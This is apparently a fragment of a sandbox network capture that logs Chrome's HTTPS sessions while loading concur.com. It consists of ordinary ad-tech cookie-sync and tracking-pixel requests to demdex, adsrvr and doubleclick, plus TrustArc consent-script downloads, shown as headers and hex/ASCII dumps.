2024-10-03 08:41:35 UTC	748	OUT	GET /ibs:dpid=411&dpuuid=Zv5YvgAAAEmPUQN- HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404
2024-10-03 08:41:35 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:35 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 60YcZ9iZT2Y= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-0027a3e1d.edge-irl1.demdex.com 3 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:35 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:35 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:35 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49855	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:35 UTC	562	OUT	GET /ibs:dpid=21&dpuuid=216783105024001044546 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404; dpm=77063524538646072271479213259445098681
2024-10-03 08:41:35 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:35 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: p3wiDUD4QJA= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v065-0eedddf35.edge-irl1.demdex.com 2 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:35 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:35 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:35 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49856	3.33.220.150	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:35 UTC	659	OUT	GET /track/cmf/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.concur.com&ttd_tpi=1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:35 UTC	518	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 08:41:35 GMT Content-Length: 245 Connection: close server: Kestrel location: https://match.adsrvr.org/track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.concur.com&ttd_tpi=1 set-cookie: TDID=74afb848-711b-4442-bde5-d7137629b408; expires=Fri, 03 Oct 2025 08:41:35 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSgCMgsI2uO5vr3ksT0QBTgB; expires=Fri, 03 Oct 2025 08:41:35 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-10-03 08:41:35 UTC	245	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 61 61 6d 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 64 6f 6d 61 69 6e 3d 77 77 77 2e 63 6f 6e 63 75 72 2e 63 6f 6d 26 74 74 64 5f 74 70 69 3d 31 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 61 61 6d 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 64 6f 6d 61 69 6e 3d 77 77 77 2e 63 6f 6e 63 75 72 2e 63 6f 6d 26 74 74 64 5f 74 70 69 3d 31 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.concur.com&ttd_tpi=1">https://match.adsrvr.org/track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.concur.com&ttd_tpi=1</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49863	142.250.186.66	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:35 UTC	850	OUT	GET /pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=NzcwNjM1MjQ1Mzg2NDYwNzIyNzE0NzkyMTMyNTk0NDUwOTg2ODE=&google_tc= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-10-03 08:41:36 UTC	996	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://dpm.demdex.net/ibs:dpid=771&dpuuid=CAESEKDi-_YTUxbfu6hze52LkwE&google_cver=1?gdpr=0&gdpr_consent= Date: Thu, 03 Oct 2024 08:41:36 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 314 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; expires=Sat, 03-Oct-2026 08:41:36 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:36 UTC	314	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 70 6d 2e 64 65 6d 64 65 78 2e 6e 65 74 2f 69 62 73 3a 64 70 69 64 3d 37 37 31 26 61 6d 70 3b 64 70 75 75 69 64 3d 43 41 45 53 45 4b 44 69 2d 5f 59 54 55 78 62 66 75 36 68 7a 65 35 32 4c 6b 77 45 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://dpm.demdex.net/ibs:dpid=771&dpuuid=CAESEKDi-_YTUxbfu6hze52LkwE&google_c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49865	13.224.189.92	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:36 UTC	422	OUT	GET /notice?domain=concur.com&c=teconsent&js=nj&noticeType=bb&text=true&gtm=1&cdn=1 HTTP/1.1 Host: consent.trustarc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:36 UTC	452	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Thu, 03 Oct 2024 08:41:36 GMT X-Cache: Miss from cloudfront Via: 1.1 5076c8187f430eebe5e26fc594d6125a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA2-C1 X-Amz-Cf-Id: V9G6HYk4a7Gt2mno0L8LeIVjl1vH7U-RzMjux1Q2rn93hriIYf7RYA== Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: max-age=3600 Vary: Origin
2024-10-03 08:41:36 UTC	15932	IN	Data Raw: 33 66 36 30 0d 0a 76 61 72 20 74 72 75 73 74 65 3d 77 69 6e 64 6f 77 2e 74 72 75 73 74 65 7c 7c 7b 7d 3b 74 72 75 73 74 65 2e 62 6e 7c 7c 28 74 72 75 73 74 65 2e 62 6e 3d 7b 7d 29 3b 74 72 75 73 74 65 2e 65 75 7c 7c 28 74 72 75 73 74 65 2e 65 75 3d 7b 7d 29 3b 74 72 75 73 74 65 2e 75 74 69 6c 7c 7c 28 74 72 75 73 74 65 2e 75 74 69 6c 3d 7b 7d 29 3b 0a 74 72 75 73 74 65 2e 75 74 69 6c 2e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 64 2c 67 29 7b 67 3d 67 7c 7c 7b 7d 3b 76 61 72 20 66 3d 64 26 26 64 2e 74 6f 53 74 72 69 6e 67 28 29 7c 7c 22 22 2c 63 3d 67 2e 63 61 6c 6c 65 72 7c 7c 22 22 3b 69 66 28 64 26 26 64 2e 73 74 61 63 6b 29 7b 66 2b 3d 22 5c 6e 22 2b 64 2e 73 74 61 63 6b 2e 6d 61 74 63 68 28 2f 28 40 7c 61 74 29 5b 5e 5c 6e 5c 72 5c 74 5d 2a Data Ascii: 3f60var truste=window.truste\|\|{};truste.bn\|\|(truste.bn={});truste.eu\|\|(truste.eu={});truste.util\|\|(truste.util={});truste.util.error=function(h,d,g){g=g\|\|{};var f=d&&d.toString()\|\|"",c=g.caller\|\|"";if(d&&d.stack){f+="\n"+d.stack.match(/(@\|at)[^\n\r\t]*
2024-10-03 08:41:36 UTC	300	IN	Data Raw: 2e 73 74 79 6c 65 73 2e 62 6f 78 5f 6f 76 65 72 6c 61 79 3d 74 79 70 65 6f 66 20 24 74 65 6d 70 5f 62 6f 78 5f 6f 76 65 72 6c 61 79 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 24 74 65 6d 70 5f 62 6f 78 5f 6f 76 65 72 6c 61 79 3b 68 2e 73 74 79 6c 65 73 2e 62 6f 78 5f 6f 76 65 72 6c 61 79 5f 62 6f 72 64 65 72 3d 74 79 70 65 6f 66 20 24 74 65 6d 70 5f 62 6f 78 5f 6f 76 65 72 6c 61 79 5f 62 6f 72 64 65 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 24 74 65 6d 70 5f 62 6f 78 5f 6f 76 65 72 6c 61 79 5f 62 6f 72 64 65 72 3b 0a 68 2e 73 74 79 6c 65 73 2e 6f 76 65 72 6c 61 79 3d 74 79 70 65 6f 66 20 24 74 65 6d 70 5f 6f 76 65 72 6c 61 79 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 24 74 65 6d 70 5f 6f 76 65 72 6c 61 79 3b 68 2e 73 74 79 6c 65 73 2e 69 6e 6e Data Ascii: .styles.box_overlay=typeof $temp_box_overlay!="undefined"&&$temp_box_overlay;h.styles.box_overlay_border=typeof $temp_box_overlay_border!="undefined"&&$temp_box_overlay_border;h.styles.overlay=typeof $temp_overlay!="undefined"&&$temp_overlay;h.styles.inn
2024-10-03 08:41:36 UTC	16384	IN	Data Raw: 34 35 35 66 0d 0a 69 6e 65 64 22 26 26 24 74 65 6d 70 5f 69 6e 6e 65 72 5f 69 66 72 61 6d 65 3b 0a 68 2e 73 74 79 6c 65 73 2e 6f 75 74 65 72 64 69 76 3d 74 79 70 65 6f 66 20 24 74 65 6d 70 5f 73 74 79 6c 65 5f 6f 75 74 65 72 64 69 76 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 24 74 65 6d 70 5f 73 74 79 6c 65 5f 6f 75 74 65 72 64 69 76 3b 68 2e 6f 75 74 65 72 64 69 76 3d 74 79 70 65 6f 66 20 24 74 65 6d 70 5f 6f 75 74 65 72 64 69 76 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 0a 68 2e 66 65 61 74 2e 74 61 72 67 65 74 3d 74 79 70 65 6f 66 20 24 74 65 6d 70 5f 74 61 72 67 65 74 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 24 74 65 6d 70 5f 74 61 72 67 65 74 3b 68 2e 66 65 61 74 2e 63 63 70 61 64 65 66 61 75 6c 74 3d 74 79 70 65 6f 66 20 24 74 65 6d 70 5f 63 Data Ascii: 455fined"&&$temp_inner_iframe;h.styles.outerdiv=typeof $temp_style_outerdiv!="undefined"&&$temp_style_outerdiv;h.outerdiv=typeof $temp_outerdiv!="undefined";h.feat.target=typeof $temp_target!="undefined"&&$temp_target;h.feat.ccpadefault=typeof $temp_c
2024-10-03 08:41:36 UTC	1383	IN	Data Raw: 53 26 26 74 72 75 73 74 65 2e 62 6e 2e 68 69 64 65 28 53 29 7d 7d 65 6c 73 65 7b 51 26 26 74 72 75 73 74 65 2e 62 6e 2e 68 69 64 65 28 51 29 3b 54 26 26 74 72 75 73 74 65 2e 62 6e 2e 68 69 64 65 28 54 29 3b 53 26 26 74 72 75 73 74 65 2e 62 6e 2e 73 68 6f 77 28 53 29 0a 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 28 29 7b 69 66 28 4e 2e 6f 63 29 7b 74 72 75 73 74 65 2e 62 6e 2e 61 64 64 45 76 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2c 22 63 6c 69 63 6b 22 2c 71 29 7d 69 66 28 4e 2e 70 78 29 7b 74 72 75 73 74 65 2e 62 6e 2e 61 64 64 45 76 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2c 22 73 63 72 6f 6c 6c 22 2c 72 29 0a 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 74 72 75 73 74 65 2e 62 6e 2e 69 73 43 6f 6e 73 65 6e 74 54 72 61 63 6b 3d 74 72 75 65 3b 74 72 75 73 74 65 2e Data Ascii: S&&truste.bn.hide(S)}}else{Q&&truste.bn.hide(Q);T&&truste.bn.hide(T);S&&truste.bn.show(S)}}}function x(){if(N.oc){truste.bn.addEvent(document,"click",q)}if(N.px){truste.bn.addEvent(document,"scroll",r)}}function I(){truste.bn.isConsentTrack=true;truste.
2024-10-03 08:41:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49872	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:36 UTC	642	OUT	GET /ibs:dpid=477&dpuuid=6d94047d5ba552f803e557b75566d6a4f12326b52ee1ae9ebf8ec17e6cf1cd9ab0da87c991749652 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402
2024-10-03 08:41:36 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:36 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: wYWeDYuXQSk= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v065-09d74d879.edge-irl1.demdex.com 2 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:36 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:36 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:36 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49871	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:36 UTC	595	OUT	GET /ibs:dpid=601&dpuuid=212818727823119&random=1727944894 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402
2024-10-03 08:41:36 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:36 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: I7trskyxTBM= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v065-09f7e8af5.edge-irl1.demdex.com 3 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:36 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:36 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:36 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49873	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:36 UTC	578	OUT	GET /ibs:dpid=411&dpuuid=Zv5YvgAAAEmPUQN- HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402
2024-10-03 08:41:36 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:36 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: ij5ZBSX0Sm0= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-09a5ea745.edge-irl1.demdex.com 2 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:36 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:36 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:36 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49870	13.224.189.92	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:36 UTC	574	OUT	GET /asset/notice.js/v/v1.7-5097 HTTP/1.1 Host: consent.trustarc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.concur.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:36 UTC	582	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 96122 Connection: close Last-Modified: Wed, 25 Sep 2024 03:34:25 GMT Pragma: public Date: Thu, 03 Oct 2024 08:24:23 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 ba5b5e2e7fd98c4a472633bc4c1d4480.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA2-C1 X-Amz-Cf-Id: Nq8e4bmQOyay7c6aH0QDNaywrCr-lO5qPEcEW37zqW4JPOzxMfGi4Q== Age: 1033 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: max-age=2592000 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: *
2024-10-03 08:41:36 UTC	15802	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 74 72 75 73 74 65 5f 65 75 28 29 7b 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 76 61 72 20 67 3d 74 72 75 73 74 65 2e 65 75 2e 62 69 6e 64 4d 61 70 3b 67 2e 66 65 61 74 2e 69 73 43 6f 6e 73 65 6e 74 52 65 74 72 69 65 76 65 64 3d 67 2e 66 65 61 74 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 3f 67 2e 66 65 61 74 2e 69 73 43 6f 6e 73 65 6e 74 52 65 74 72 69 65 76 65 64 3a 21 30 3b 69 66 28 21 75 2e 64 6f 6e 65 26 26 74 72 75 73 74 65 2e 75 74 69 6c 2e 69 73 43 6f 6e 73 65 6e 74 52 65 73 6f 6c 76 65 64 28 29 29 7b 75 2e 64 6f 6e 65 3d 21 30 3b 76 61 72 20 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 63 3d 74 72 75 73 74 65 2e 75 74 69 6c 2e 72 65 61 64 43 6f 6f 6b 69 Data Ascii: function _truste_eu(){function u(){var g=truste.eu.bindMap;g.feat.isConsentRetrieved=g.feat.crossDomain?g.feat.isConsentRetrieved:!0;if(!u.done&&truste.util.isConsentResolved()){u.done=!0;var k=function(){var a=(new Date).getTime(),c=truste.util.readCooki
